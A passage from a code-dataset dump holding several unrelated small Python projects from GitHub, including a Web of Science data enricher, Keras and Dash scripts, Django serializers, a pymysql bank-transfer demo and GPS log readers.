launcher.add_experiment(env_id=env, n_clusters=n_clusters)\n\n launcher.run(local, test)\n","repo_name":"akrouriad/tpami_metricrl","sub_path":"launch_exp_gym.py","file_name":"launch_exp_gym.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"98"} +{"seq_id":"11193442378","text":"import pandas as pd\nimport os\nfrom .functions import load_folderdata, update_datafile\n\n\ndef add_WOSaffil(data: pd.DataFrame, wos_export: pd.DataFrame) -> pd.DataFrame:\n \"\"\"Add affiliation information of the first author, exported from Web of Science\"\"\"\n\n if \"wos_affil\" not in data.columns:\n for index1, row in wos_export.iterrows():\n # note: type of nan values in export_data['RP'] is float, which is non iterable\n if type(row[\"RP\"]) == str:\n # 1. wos affiliation of first author | 'RP' = first author name & affiliation info ; 'RP_2' = first author affiliation info\n affil_firstauth = str(row[\"RP\"]).split(\"(corresponding author), \")[-1]\n # 2. add wos_affil to data based on wos code | 'UT' = wos code\n data.loc[data[\"WoScode\"] == row[\"UT\"], \"wos_affil\"] = affil_firstauth\n return data\n\n\ndef add_WOScountry(data: pd.DataFrame, wos_export: pd.DataFrame) -> pd.DataFrame:\n \"\"\"Add the country of the affiliation of the first author, exported from Web of Science\"\"\"\n\n if \"wos_country\" not in data.columns:\n for index, row in wos_export.iterrows():\n # get country name from string & clean up\n country_firstauth = str(row[\"RP\"]).split(\", \")[-1]\n country_firstauth = country_firstauth.rstrip(country_firstauth[-1])\n if \"USA\" in country_firstauth:\n country_firstauth = \"USA\"\n data.loc[data[\"WoScode\"] == row[\"UT\"], \"wos_country\"] = country_firstauth\n return data\n\n\ndef add_WOSkeywords(data: pd.DataFrame, wos_export: pd.DataFrame) -> pd.DataFrame:\n \"\"\"Add the country of the affiliation of the first author, exported from Web of Science\"\"\"\n\n if \"wos_keywords\" not in data.columns:\n for index, row in wos_export.iterrows():\n keywords = row[\"DE\"]\n data.loc[data[\"WoScode\"] == row[\"UT\"], \"wos_keywords\"] = keywords\n return data\n\n\ndef add_WOSpluskeywords(data: pd.DataFrame, wos_export: pd.DataFrame) -> pd.DataFrame:\n \"\"\"Add the country of the affiliation of the first author, exported from Web of Science\"\"\"\n\n if \"wos_plus_keywords\" not in data.columns:\n for index, row in wos_export.iterrows():\n pluskeywords = row[\"ID\"]\n data.loc[data[\"WoScode\"] == row[\"UT\"], \"wos_plus_keywords\"] = pluskeywords\n return data\n\n\ndef add_WOScategories(data: pd.DataFrame, wos_export: pd.DataFrame) -> pd.DataFrame:\n \"\"\"Add the country of the affiliation of the first author, exported from Web of Science\"\"\"\n\n if \"wos_categories\" not in data.columns:\n for index, row in wos_export.iterrows():\n categories = row[\"WC\"]\n data.loc[data[\"WoScode\"] == row[\"UT\"], \"wos_categories\"] = categories\n return data\n\n\ndef add_WOSresearcharea(data: pd.DataFrame, wos_export: pd.DataFrame) -> pd.DataFrame:\n \"\"\"Add the country of the affiliation of the first author, exported from Web of Science\"\"\"\n\n if \"wos_researcharea\" not in data.columns:\n for index, row in wos_export.iterrows():\n researcArea = row[\"SC\"]\n data.loc[data[\"WoScode\"] == row[\"UT\"], \"wos_researcharea\"] = researcArea\n return data\n\n\ndef add_WOScitations(data: pd.DataFrame, wos_export: pd.DataFrame) -> pd.DataFrame:\n \"\"\"Add the country of the affiliation of the first author, exported from Web of Science\"\"\"\n\n if \"wos_citations\" not in data.columns:\n for index, row in wos_export.iterrows():\n citations = row[\"NR\"]\n citations_ref = row[\"CR\"]\n data.loc[data[\"WoScode\"] == row[\"UT\"], \"wos_citations\"] = citations\n data.loc[data[\"WoScode\"] == row[\"UT\"], \"wos_citation_refs\"] = citations_ref\n return data\n\n\ndef add_WOSusage(data: pd.DataFrame, wos_export: pd.DataFrame) -> pd.DataFrame:\n \"\"\"Add the country of the affiliation of the first author, exported from Web of Science\"\"\"\n\n if \"wos_usage\" not in data.columns:\n for index, row in wos_export.iterrows():\n citations = row[\"U2\"]\n data.loc[data[\"WoScode\"] == row[\"UT\"], \"wos_usage\"] = citations\n return data\n","repo_name":"lifewatch/user-analysis","sub_path":"standardize_publications/standardize_publications/wos.py","file_name":"wos.py","file_ext":"py","file_size_in_byte":4115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"41243026189","text":"import requests, json, csv, ast, os\nimport tensorflow as tf\nfrom tensorflow import keras\n\nfrom sklearn.model_selection import train_test_split\n\n\ndef retrain(evidence, label):\n newmodel = tf.keras.models.Sequential()\n newmodel.add(tf.keras.layers.Dense(512, input_shape=(23,), activation=\"relu\"))\n\n newmodel.add(tf.keras.layers.Dense(950, input_shape=(512,), activation=\"sigmoid\"))\n newmodel.add(tf.keras.layers.Dropout(0.5))\n\n newmodel.add(tf.keras.layers.Dense(1, activation=\"sigmoid\"))\n\n\n custom = tf.keras.optimizers.Adagrad(\n learning_rate=0.000001,\n initial_accumulator_value=1200000, #1200000\n epsilon=1e-07,\n name=\"Adagrad\",\n )\n\n newmodel.compile(\n optimizer=custom,\n loss=\"binary_crossentropy\",\n metrics=[\"Accuracy\"]\n )\n\n newmodel.load_weights(\"testsaves/test6\")\n\n newmodel.fit(evidence, label, epochs=3)\n\n newmodel.save_weights(\"testsaves/test6\")\n","repo_name":"PhilbertLou/ClothingForecast","sub_path":"Old Work/Old ver py for the ml/WeatherTrainer2.py","file_name":"WeatherTrainer2.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"98"} +{"seq_id":"23407026844","text":"import calendar\nfrom dash import Dash, dcc, html, Input, Output\nfrom ML.MLPredict import MLPredict\n\nml = MLPredict()\napp = Dash(__name__)\n\napp.layout = html.Div([\n html.H3('Predict Price',style=({'align-items': 'center'})),\n html.Div([\n \n html.Div([\n \"Hour: \",\n dcc.Input(id='hour-in', value='0', type='number')\n ]),\n html.Br(),\n html.Div([\n \"Month: \",\n dcc.Input(id='month-in', value='0', max = 12, type='number')\n ]),\n html.Br(),\n html.Div([\n \"Wind: \",\n dcc.Input(id='wind-in', value='0', type='number')\n ]),\n html.Br(),\n html.Div([\n \"Temperature: \",\n dcc.Input(id='temp-in', value='0', type='number')\n ]),\n ], id = 'augur-inner'),\n html.Br(),\n html.Div(id='hour-output'),\n html.Div(id='month-output'),\n html.Div(id='wind-output'),\n\n html.Div(id='temp-output'),\n # html.P('The predicted price is:'),\n\n html.Div(id='result-output',style=({'font-size': 22})),\n html.P(id='fake-in'),\n \n],id= 'augur-outer',style=({'align-items': 'center'}))\n\n\n@app.callback(\n Output(component_id='hour-output', component_property='children'),\n Output(component_id='month-output', component_property='children'),\n Output(component_id='wind-output', component_property='children'),\n Output(component_id='temp-output', component_property='children'),\n Output(component_id='result-output', component_property='children'),\n Input(component_id='hour-in', component_property='value'),\n Input(component_id='month-in', component_property='value'),\n Input(component_id='wind-in', component_property='value'),\n Input(component_id='temp-in', component_property='value'),\n Input(component_id='fake-in', component_property='value'),\n)\ndef update_output_div(hour_val, month_val, wind_val, temp_val, result_str):\n if month_val == '0':\n print(f'{month_val}: no go', type(month_val))\n return (\n f'At {hour_val}:00,',\n f'in th month of 0',\n f'with wind average at {wind_val} m/s',\n f'and average temperatur of {temp_val}°C',\n f'Predicted price is: 0')\n\n elif month_val == None:\n print(f'{month_val}: no go', type(month_val))\n return (\n f'At {hour_val}:00,',\n f'in th month of 0',\n f'with wind average at {wind_val} m/s',\n f'and average temperatur of {temp_val}°C',\n f'Predicted price is: 0')\n else:\n print(f'{month_val}: yes go', type(month_val))\n result_str = ml.get_input_and_predict(wind_val, temp_val, month_val, hour_val)\n # print(a)\n\n return (\n f'At {hour_val}:00,',\n f'in th month of {calendar.month_name[int(month_val)]}',\n f'with wind average at {wind_val} m/s',\n f'and average temperatur of {temp_val}°C',\n f'Predicted price is: {result_str}, SEK / KWh')\n\n\nif __name__ == '__main__':\n app.run_server(debug = True)","repo_name":"ahnm1/SMH_Dash","sub_path":"dirty_test.py","file_name":"dirty_test.py","file_ext":"py","file_size_in_byte":3097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"33291517969","text":"class Studentas:\n def __init__(self, vardas, amzius, lytis):\n self.vardas = vardas\n self.amzius = amzius\n self.lytis = lytis\n\nclass Kursas:\n def __init__(self, pavadinimas):\n self.pavadinimas = pavadinimas\n self.studentai = []\n\n def prideti_studenta(self, studentas):\n self.studentai.append(studentas)\n\n# Testavimas\nstudentas1 = Studentas(\"Jonas\", 20, \"Vyras\")\nstudentas2 = Studentas(\"Ona\", 22, \"Moteris\")\n\nkursas = Kursas(\"Programavimas\")\nkursas.prideti_studenta(studentas1)\nkursas.prideti_studenta(studentas2)\n\nfor studentas in kursas.studentai:\n print(f\"Studentas: {studentas.vardas}, Amžius: {studentas.amzius}, Lytis: {studentas.lytis}\")\n","repo_name":"Kreivenas/kls","sub_path":"2023.5.23/ketvirta.py","file_name":"ketvirta.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"lt","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"2979594628","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Dec 8 22:54:29 2018\n\n@author: Nikola Kavelj\n\"\"\"\nimport math\nimport numpy as np\n\neing=np.array([[72,159,182,56],[170,134,178,165],[185,177,84,241],[221,222,240,223]])\nausg_nachb=np.zeros((4,4))\nr_temp=0\nc_temp=0\nfor i in range(4):\n for j in range(4):\n r_temp=round(1.065*(i-0.312)+1.341*(j-0.312)+0.312)\n c_temp=round(0.711*(i-0.312)+0.999*(j-0.312)+0.312)\n if r_temp>=0 and r_temp<=3 and c_temp>=0 and c_temp<=3:\n ausg_nachb[i,j]=eing[i,j]\n else:\n ausg_nachb[i][j]=math.nan\nprint(\"Transformation des Bildes mit der Methode der naechsten Nachbarschaft\")\nfor x in ausg_nachb:\n print(*x, sep=\" \")\nausg_interp=np.zeros((4,4))\nfor i in range(4):\n for j in range(4):\n r_temp=1.065*(i-0.312)+1.341*(j-0.312)+0.312\n c_temp=0.711*(i-0.312)+0.999*(j-0.312)+0.312\n if r_temp>=0 and r_temp<=3 and c_temp>=0 and c_temp<=3:\n #Quelle fuer Interpolationsformel:Notizen zur DBV_Vorlesung von Prof. Stilla\n ausg_interp[i,j]=(eing[math.ceil(r_temp),math.floor(c_temp)]-eing[math.floor(r_temp),math.floor(c_temp)])*r_temp+(eing[math.floor(r_temp),math.ceil(c_temp)]-eing[math.floor(r_temp),math.floor(c_temp)])*c_temp+(eing[math.ceil(r_temp),math.ceil(c_temp)]+eing[math.floor(r_temp),math.floor(c_temp)]-eing[math.floor(r_temp),math.ceil(c_temp)]-eing[math.ceil(r_temp),math.floor(c_temp)])*r_temp*c_temp+eing[math.floor(r_temp),math.floor(c_temp)]\n else:\n ausg_interp[i,j]=math.nan\n if ausg_interp[i,j]<0:\n ausg_interp[i,j]=0\n elif ausg_interp[i,j]>255:\n ausg_interp[i,j]=255\nprint(\"Transformation des Bildes mit Hilfe der bilinearen Interpolation\")\nfor x in ausg_interp:\n print(*x, sep=\" \")\n","repo_name":"nkavelj/DBV_1","sub_path":"aufgabe4.py","file_name":"aufgabe4.py","file_ext":"py","file_size_in_byte":1777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"74043040321","text":"import os\n\nroot_groundtruth = './dataset/groundtruth'\nroot_evaluation = './dataset/evaluation'\n\n\ndef compute_AP(pos_set, ranked_list):\n relevant = 0.0\n average_precision = 0.0\n number_retrieve = 0\n\n for item in ranked_list:\n\n number_retrieve += 1\n if item not in pos_set:\n continue\n \n relevant += 1\n average_precision += (relevant/number_retrieve)\n\n return average_precision / relevant\n\ndef compute_mAP(feature_extractor, crop = False):\n if (crop):\n path_evaluation = root_evaluation + '/crop'\n else:\n path_evaluation = root_evaluation + '/original'\n\n path_evaluation += ('/' + feature_extractor)\n\n AP = 0.0\n number_query = 0.0\n\n for query in os.listdir(path_evaluation):\n with open(root_groundtruth + '/' + query[:-4] + '_good.txt', 'r') as file:\n good_set = file.read().split('\\n')\n with open(root_groundtruth + '/' + query[:-4] + '_ok.txt', 'r') as file:\n ok_set = file.read().split('\\n')\n \n # positive set of ground truth = ok_set + good_set\n pos_set = ok_set + good_set\n\n with open(path_evaluation + '/' + query) as file:\n ranked_list = file.read().split('\\n')\n \n AP += compute_AP(pos_set, ranked_list)\n number_query += 1\n \n return AP / number_query","repo_name":"lechithinh/Image-Retrival","sub_path":"storage/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"98"} +{"seq_id":"19134518747","text":"import sys\nimport time\nimport curses\n\nfrom utils.cli_utils import update_console\nfrom utils.html_parser import get_parsed_html\nfrom utils.constants import TOPICS, TOPIC_CLASS, URL, QUOTE_CLASS, PAGE_LINK_CLASS\nfrom text_acquisition.preloading import update_preload, preload\n\n\ndef get_topics_less_2_pages():\n topics_html = get_parsed_html(TOPICS)\n links = topics_html.find_all('a', {'class': TOPIC_CLASS}, href=True)\n hrefs = [link['href'] for link in links]\n\n exceptions = []\n for href in hrefs:\n topic_url = URL + href\n quotes_html = get_parsed_html(topic_url)\n divs = quotes_html.find_all('div', {'class': QUOTE_CLASS})\n page_links = quotes_html.find_all('a', {'class': PAGE_LINK_CLASS}, href=True)\n\n try:\n max_page_number = int(page_links[-2].text)\n except: \n print(page_links)\n exceptions.append(href)\n\n for e in exceptions:\n print(e)\n\n\ndef throw_exception():\n console = curses.initscr()\n console.clear()\n console.addstr(0, 0, 'test')\n console.refresh()\n\n time.sleep(1)\n\n try:\n x = 1 / 0\n except Exception as e:\n curses.endwin() \n time.sleep(1)\n print('Ended window')\n time.sleep(1)\n raise e\n\n\ndef catch_keypress():\n console = curses.initscr() \n update_console(0, 0, \"Press any key\", console)\n\n while True:\n key = console.getch()\n update_console(1, 0, str(key), console)\n if key == 3:\n update_console(2, 0, 'KeyboardInterrupt', console)\n sys.exit()\n\n\ndef test_update_cache():\n cache = [['habibi', 'sein sohn']]\n update_preload(cache)\n\n\ndef test_preload():\n cache = preload()\n print(type(cache[0]))\n print(len(cache))\n print(cache)\n\n\nif __name__ == '__main__':\n #get_topics_less_2_pages()\n #throw_exception()\n catch_keypress()\n #quote_acquisition_time() \n #test_update_cache()\n #test_preload()","repo_name":"Neihtq/typefast","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"27638606664","text":"from rest_framework import serializers\nfrom base.models import (Ingredient,\n Function,\n Unit,\n Supplier,\n Pic,\n SupplierDocument,\n IngredientDocument)\n\n\nclass FunctionSerializer(serializers.ModelSerializer):\n class Meta:\n model = Function\n fields = ['id', 'name']\n read_only_fields = ['id']\n\n\nclass UnitSerializer(serializers.ModelSerializer):\n class Meta:\n model = Unit\n fields = ['id', 'name',\n 'abbreviation', 'conversion_rate', ]\n read_only_fields = ['id']\n\n\nclass PicSerializer(serializers.ModelSerializer):\n class Meta:\n model = Pic\n fields = ['id', 'name', 'position', 'email', 'phone']\n read_only_fields = ['id']\n\n\nclass IngredientSerializer(serializers.ModelSerializer):\n function = FunctionSerializer(required=True)\n unit = UnitSerializer(required=True)\n\n class Meta:\n model = Ingredient\n fields = ['id', 'supplier', 'name',\n 'price', 'quantity',\n 'is_used', 'function', 'unit']\n read_only_fields = ['id', ]\n\n def _find_and_create_unit(self, unit_data): # still have bug where the returned value is still updated\n unit, created = Unit.objects.get_or_create(\n name=unit_data.get('name'),\n defaults={\n 'abbreviation': unit_data.get('abbreviation'),\n 'conversion_rate': unit_data.get('conversion_rate')\n }\n )\n\n if not created:\n unit.abbreviation = unit_data.get('abbreviation', unit.abbreviation)\n unit.conversion_rate = unit_data.get('conversion_rate', unit.conversion_rate)\n unit.save()\n\n return unit\n\n def create(self, validated_data):\n function_data = validated_data.pop('function', {})\n unit_data = validated_data.pop('unit', {})\n supplier_id = validated_data.pop('supplier', {})\n\n function, created = Function.objects.get_or_create(**function_data)\n\n unit = self._find_and_create_unit(unit_data=unit_data)\n if supplier_id:\n ingredient = Ingredient.objects.create(function=function\n , unit=unit, supplier=supplier_id,\n **validated_data)\n else:\n ingredient = Ingredient.objects.create(function=function\n , unit=unit, **validated_data)\n\n return ingredient\n\n def update(self, instance, validated_data):\n function_data = validated_data.pop('function', {})\n unit_data = validated_data.pop('unit', {})\n\n function, created = Function.objects.get_or_create(**function_data)\n unit = self._find_and_create_unit(unit_data=unit_data)\n ingredient = super().update(instance, validated_data)\n\n ingredient.function = function\n ingredient.unit = unit\n\n return ingredient\n\n\nclass SupplierSerializer(serializers.ModelSerializer):\n pic = PicSerializer(required=False, many=True, write_only=True)\n ingredient = IngredientSerializer(required=False, many=True, write_only=True)\n\n class Meta:\n model = Supplier\n fields = ['id', 'name', 'location', 'phone', 'pic', 'ingredient']\n read_only_fields = ['id']\n\n def create(self, validated_data):\n pic_data = validated_data.pop('pic', {})\n ingredient_data = validated_data.pop('ingredient', {})\n supplier, created = Supplier.objects.get_or_create(**validated_data)\n for ingredient in ingredient_data:\n function_data = ingredient.pop('function', {})\n unit_data = ingredient.pop('unit', {})\n\n function, created = Function.objects.get_or_create(**function_data)\n unit, created = Unit.objects.get_or_create(**unit_data)\n\n Ingredient.objects.get_or_create(function=function, unit=unit, supplier=supplier, **ingredient)\n for pic in pic_data:\n Pic.objects.get_or_create(supplier=supplier, **pic)\n return supplier\n\n def update(self, instance, validated_data):\n validated_data.pop('pic', [])\n validated_data.pop('ingredient', [])\n supplier = super().update(instance, validated_data)\n return supplier\n\n\nclass IngredientDocumentSerializer(serializers.ModelSerializer):\n class Meta:\n model = IngredientDocument\n fields = ['ingredient', 'isoDocument', 'gmoDocument', 'kosherDocument',\n 'halalDocument', 'msdsDocument', 'tdsDocument', 'coaDocument', 'allergenDocument', ]\n read_only_fields = ['ingredient']\n\n def create(self, validated_data):\n ingredient_document = IngredientDocument.objects.create(\n ingredient=Ingredient.objects.get(id=int(self.context[\"ingredient_id\"])),\n **validated_data)\n\n return ingredient_document\n\n\nclass SupplierDocumentSerializer(serializers.ModelSerializer):\n class Meta:\n model = SupplierDocument\n fields = ['supplier', 'isoDocument', 'gmpDocument', 'haccpDocument']\n read_only_fields = ['supplier']\n\n def create(self, validated_data):\n supplier_document = SupplierDocument.objects.create(\n supplier=Supplier.objects.get(id=int(self.context[\"supplier_id\"])),\n **validated_data)\n\n return supplier_document\n","repo_name":"Revelvol/supplierManagementApi","sub_path":"app/ingredient/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":5484,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"98"} +{"seq_id":"16563357543","text":"'''\nCreated on 2 de mai de 2020\n\n@author: tsjabrantes\n'''\n# ******************************************************************************************************************\n# Try out the enumerate function for yourself in this quick exercise. Complete the skip_elements function to return \n# every other element from the list, this time using the enumerate function to check if an element is on an even \n# position or an odd position.\n# ******************************************************************************************************************\n'''\ndef skip_elements(elements):\n # code goes here\n \n return ___\n\nprint(skip_elements([\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\"])) # Should be ['a', 'c', 'e', 'g']\nprint(skip_elements(['Orange', 'Pineapple', 'Strawberry', 'Kiwi', 'Peach'])) # Should be ['Orange', 'Strawberry', 'Peach']\n'''\ndef skip_elements(elements):\n # code goes here\n new_list = []\n index = 0\n\n # Iterate through the list\n for index, element in enumerate(elements):\n new_list.append(\"{}\".format(element))\n return new_list[::2]\n\nprint(skip_elements([\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\"])) # Should be ['a', 'c', 'e', 'g']\nprint(skip_elements(['Orange', 'Pineapple', 'Strawberry', 'Kiwi', 'Peach'])) # Should be ['Orange', 'Strawberry', 'Peach']\n\n","repo_name":"Tsjabrantes/Crash_Course_on_python","sub_path":"Iterating_over_Lists_and_Tuples.py","file_name":"Iterating_over_Lists_and_Tuples.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"98"} +{"seq_id":"6419144296","text":"import pymysql\nimport sys\n\t\t\nclass TransferMoney(object):\n\tdef __init__(self, arg):\n\t\tself.conn = conn\n\n\tdef check_acc_available(self,accid):\n\t\tcursor = self.conn.cursor()\n\t\ttry:\n\t\t\tsql = 'select * from account where accid=%s' % accid\n\t\t\tcursor.execute(sql)\n\t\t\tprint ('check_acc_available:' + sql)\n\t\t\trs = cursor.fetchall()\n\t\t\tif len(rs) != 1:\n\t\t\t\traise Exception('账号不存在' % accid)\n\t\tfinally:\n\t\t\tcursor.close()\n\n\tdef has_enough_money(self,accid,money):\n\t\tcursor = self.conn.cursor()\n\t\ttry:\n\t\t\tsql = 'select * from account where accid=%s and money>%s' % (accid,money)\n\t\t\tcursor.execute(sql)\n\t\t\tprint ('has_enough_money:' + sql)\n\t\t\trs = cursor.fetchall()\n\t\t\tif len(rs) != 1:\n\t\t\t\traise Exception('账号%s金额不足' % accid)\n\t\tfinally:\n\t\t\tcursor.close()\n\n\tdef reduce_money(self,accid,money):\n\t\tcursor = self.conn.cursor()\n\t\ttry:\n\t\t\tsql = 'update account set money=money-%s where accid=%s' % (money,accid)\n\t\t\tcursor.execute(sql)\n\t\t\tprint ('reduce_money:' + sql)\n\t\t\tif cursor.rowcount != 1:\n\t\t\t\traise Exception('账号%s减款失败' % accid)\n\t\tfinally:\n\t\t\tcursor.close()\n\n\tdef add_money(self,accid,money):\n\t\tcursor = self.conn.cursor()\n\t\ttry:\n\t\t\tsql = 'update account set money=money+%s where accid=%s' % (money,accid)\n\t\t\tcursor.execute(sql)\n\t\t\tprint ('add_money:' + sql)\n\t\t\tif cursor.rowcount != 1:\n\t\t\t\traise Exception('账号%s减款失败' % accid)\n\t\tfinally:\n\t\t\tcursor.close()\t\t\n\n\tdef transfer(self,source_accid,target_accid,money):\n\t\ttry:\n\t\t\tself.check_acc_available(source_accid)\n\t\t\tself.check_acc_available(target_accid)\n\t\t\tself.has_enough_money(source_accid,money)\n\t\t\tself.reduce_money(source_accid,money)\n\t\t\tself.add_money(target_accid,money)\n\t\t\tself.conn.commit()\n\t\texcept Exception as e:\n\t\t\tself.conn.rowcount()\n\t\t\traise e\n\n\nif __name__ == '__main__':\n\tsource_accid = sys.argv[1]\n\ttarget_accid = sys.argv[2]\n\tmoney = sys.argv[3]\n\t# 建立一个connection\n\tconn = pymysql.Connect(\n\t\thost = '127.0.0.1',\n\t\tport = 3306,\n\t\tuser = 'root',\n\t\tpasswd = '12125772',\n\t\tdb = 'imooc',\n\t\tcharset = 'utf8'\n\t\t)\n\ttr_money = TransferMoney(conn)\n\n\ttry:\n\t\ttr_money.transfer(source_accid,target_accid,money)\n\texcept Exception as e:\n\t\tprint ('出现问题:' + str(e))\n\tfinally:\n\t\tconn.close() \n\n\n","repo_name":"hhwe/pythonic","sub_path":"pydb/test_bank.py","file_name":"test_bank.py","file_ext":"py","file_size_in_byte":2196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"35505014020","text":"#!/usr/bin/python\n\nimport serial\nimport binascii\nimport struct\nimport time\nimport datetime\nimport math\nimport trace\nfrom threading import *\n\ndef haversine(coord1, coord2):\n R = 6372800 # Earth radius in meters\n lat1, lon1 = coord1\n lat2, lon2 = coord2\n \n phi1, phi2 = math.radians(lat1), math.radians(lat2) \n dphi = math.radians(lat2 - lat1)\n dlambda = math.radians(lon2 - lon1)\n \n a = math.sin(dphi/2)**2 + \\\n math.cos(phi1)*math.cos(phi2)*math.sin(dlambda/2)**2\n \n return 2*R*math.atan2(math.sqrt(a), math.sqrt(1 - a))\n\nclass UBlox(Thread):\n def __init__(self, _config = None):\n Thread.__init__(self)\n self.trace = trace.Trace(self)\n self.config_ = {\n 'serial' : {\n 'port' : '/dev/ttyACM0',\n 'baudrate' : 115200,\n 'parity' : 'none',\n 'stopbits' : 1,\n 'databits' : 8\n }\n }\n self.base_ = (None, None)\n self.latest_ = (None, None)\n self.serial_ = serial.Serial()\n\n self.setConfig(_config)\n\n self.trace.info('Create UBlox')\n\n def setConfig(self, _config):\n if _config is not None:\n try:\n self.config_.update(_config)\n except Exception as err:\n self.trace.error('Invalid config')\n\n def run(self):\n if self.connect():\n \t self.readData(0)\n\n def connect(self):\n self.serial_.baudrate = self.config_['serial']['baudrate']\n \n self.serial_.port = self.config_['serial']['port']\n if self.config_['serial']['parity'] == 0:\n self.serial_.parity = serial.PARITY_NONE\n elif self.config_['serial']['parity'] == 1:\n self.serial_.parity = serial.PARITY_ODD\n elif self.config_['serial']['parity'] == 2:\n self.serial_.parity = serial.PARITY_EVEN\n\n if self.config_['serial']['stopbits'] == 1:\n self.serial_.stopbits = serial.STOPBITS_ONE\n elif self.config_['serial']['stopbits'] == 2:\n self.serial_.stopbits = serial.STOPBITS_TWO\n\n if self.config_['serial']['databits'] == 8:\n self.serial_.bytesize = serial.EIGHTBITS\n\n try:\n self.serial_.open()\n return True\n except Exception as err:\n self.trace.error('Serial open failed : %s'%err);\n return False\n\n def readData(self, running_time = 0):\n now = datetime.datetime.now()\n\n receive_buffer = b''\n\n while True:\n receive_buffer = self.serial_.readline(200)\n index = receive_buffer.find(\"$GNGGA\")\n\n if index > 0:\n fields = receive_buffer[index:].split(',')\n if len(fields) > 4:\n try:\n if (fields[2] != '') and (fields[4] != ''):\n if self.base_[0] is None:\n self.base_ = float(fields[2]) / 100, float(fields[4]) / 100\n else:\n current = float(fields[2]) / 100, float(fields[4]) / 100\n distance = haversine(self.base_, current)\n self.trace.debug('%f,%f -> %f,%f : %f'%(self.base_[0], self.base_[1], current[0], current[1], distance))\n except Exception as err:\n self.trace.error('Invalid payload : %s - %s'%(err, receive_buffer[index:]))\n\t \n\t\n","repo_name":"daliworks/thingplus-gateway-for-python","sub_path":"device/ublox.py","file_name":"ublox.py","file_ext":"py","file_size_in_byte":3510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"15584439598","text":"#! /usr/bin/python\n\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\nimport os.path\nimport sys\nimport math\n\n\nclass Geocube:\n\n ###########################################################################\n def __init__(self, input_file):\n \"\"\"Constructeur de la classe Geocube\"\"\"\n if os.path.isfile(input_file) != True:\n sys.exit(\"Fichier introuvable!\\n\")\n\n self.x_cube_vector = []\n self.y_cube_vector = []\n self.z_cube_vector = []\n self.rms_cube_vector = []\n\n self.input_file = input_file\n\n self.rxm_raw = []\n self.nav_timeutc = []\n self.nav_timegps = []\n self.nav_posllh = []\n\n self.build_matrix()\n\n self.nav_timegps = np.array(self.nav_timegps)\n self.nav_timeutc = np.array(self.nav_timeutc)\n self.nav_posllh = np.array(self.nav_posllh)\n self.rxm_raw = np.array(self.rxm_raw)\n print(\"Dimensions de la matrice NAV_TIMEGPS:\" + str(self.nav_timegps.shape))\n print(\"Dimensions de la matrice NAV_TIMEUTC:\" + str(self.nav_timeutc.shape))\n print(\"Dimensions de la matrice NAV_POSLLH:\" + str(self.nav_posllh.shape))\n print(\"Dimensions de la matrice RXM_RAW:\" + str(self.rxm_raw.shape))\n\n self.posllh_posxyz()\n\n self.buildCube(1000, 1000, 1000, 1, 10)\n\n #self.plot_data()\n\n\n def build_matrix(self):\n \"\"\"Construire la matrice d observation\"\"\"\n line = ''\n tmp_array = []\n sat_tmp_array = []\n\n f = open(self.input_file, 'r')\n for line in f:\n #line = f.readline()\n\n if \"TIMEGPS\" in line:\n tmp_array = line.split(\" \");\n tmp_array[1] = int(tmp_array[1])\n tmp_array[2] = int(tmp_array[2])\n tmp_array[3] = int(tmp_array[3])\n tmp_array[4] = int(tmp_array[4])\n tmp_array[5] = int(tmp_array[5])\n tmp_array[6] = int(tmp_array[6])\n self.nav_timegps.append(tmp_array[1:7]);\n\n elif \"TIMEUTC\" in line:\n tmp_array = line.split(\" \");\n tmp_array[1] = int(tmp_array[1])\n tmp_array[2] = int(tmp_array[2])\n tmp_array[3] = int(tmp_array[3])\n tmp_array[4] = int(tmp_array[4])\n tmp_array[5] = int(tmp_array[5])\n tmp_array[6] = int(tmp_array[6])\n tmp_array[7] = int(tmp_array[7])\n tmp_array[8] = int(tmp_array[8])\n tmp_array[9] = int(tmp_array[9])\n tmp_array[10] = int(tmp_array[10])\n self.nav_timeutc.append(tmp_array[1:11])\n\n elif \"RAW\" in line:\n tmp_array = line.split(\" \");\n tmp_array[1] = int(tmp_array[1])\n tmp_array[2] = int(tmp_array[2])\n tmp_array[3] = int(tmp_array[3])\n tmp_array[4] = int(tmp_array[4])\n # Repeated block\n for i in range(0,int(tmp_array[3])):\n line = f.next()\n #line = f.readline()\n #print(line)\n #print(tmp_array[3])\n tmp_array[5:13] = line.split(\" \");\n #print(tmp_array[5:13])\n tmp_array[5] = float(tmp_array[6])\n tmp_array[6] = float(tmp_array[7])\n tmp_array[7] = float(tmp_array[8])\n tmp_array[8] = int(tmp_array[9])\n tmp_array[9] = int(tmp_array[10])\n tmp_array[10] = int(tmp_array[11])\n tmp_array[11] = int(tmp_array[12])\n # fill the matrix\n self.rxm_raw.append(tmp_array[1:12])\n\n elif \"POSLLH\" in line:\n tmp_array = line.split(\" \");\n tmp_array[1] = int(tmp_array[1])\n tmp_array[2] = float(tmp_array[2])\n tmp_array[3] = float(tmp_array[3])\n tmp_array[4] = 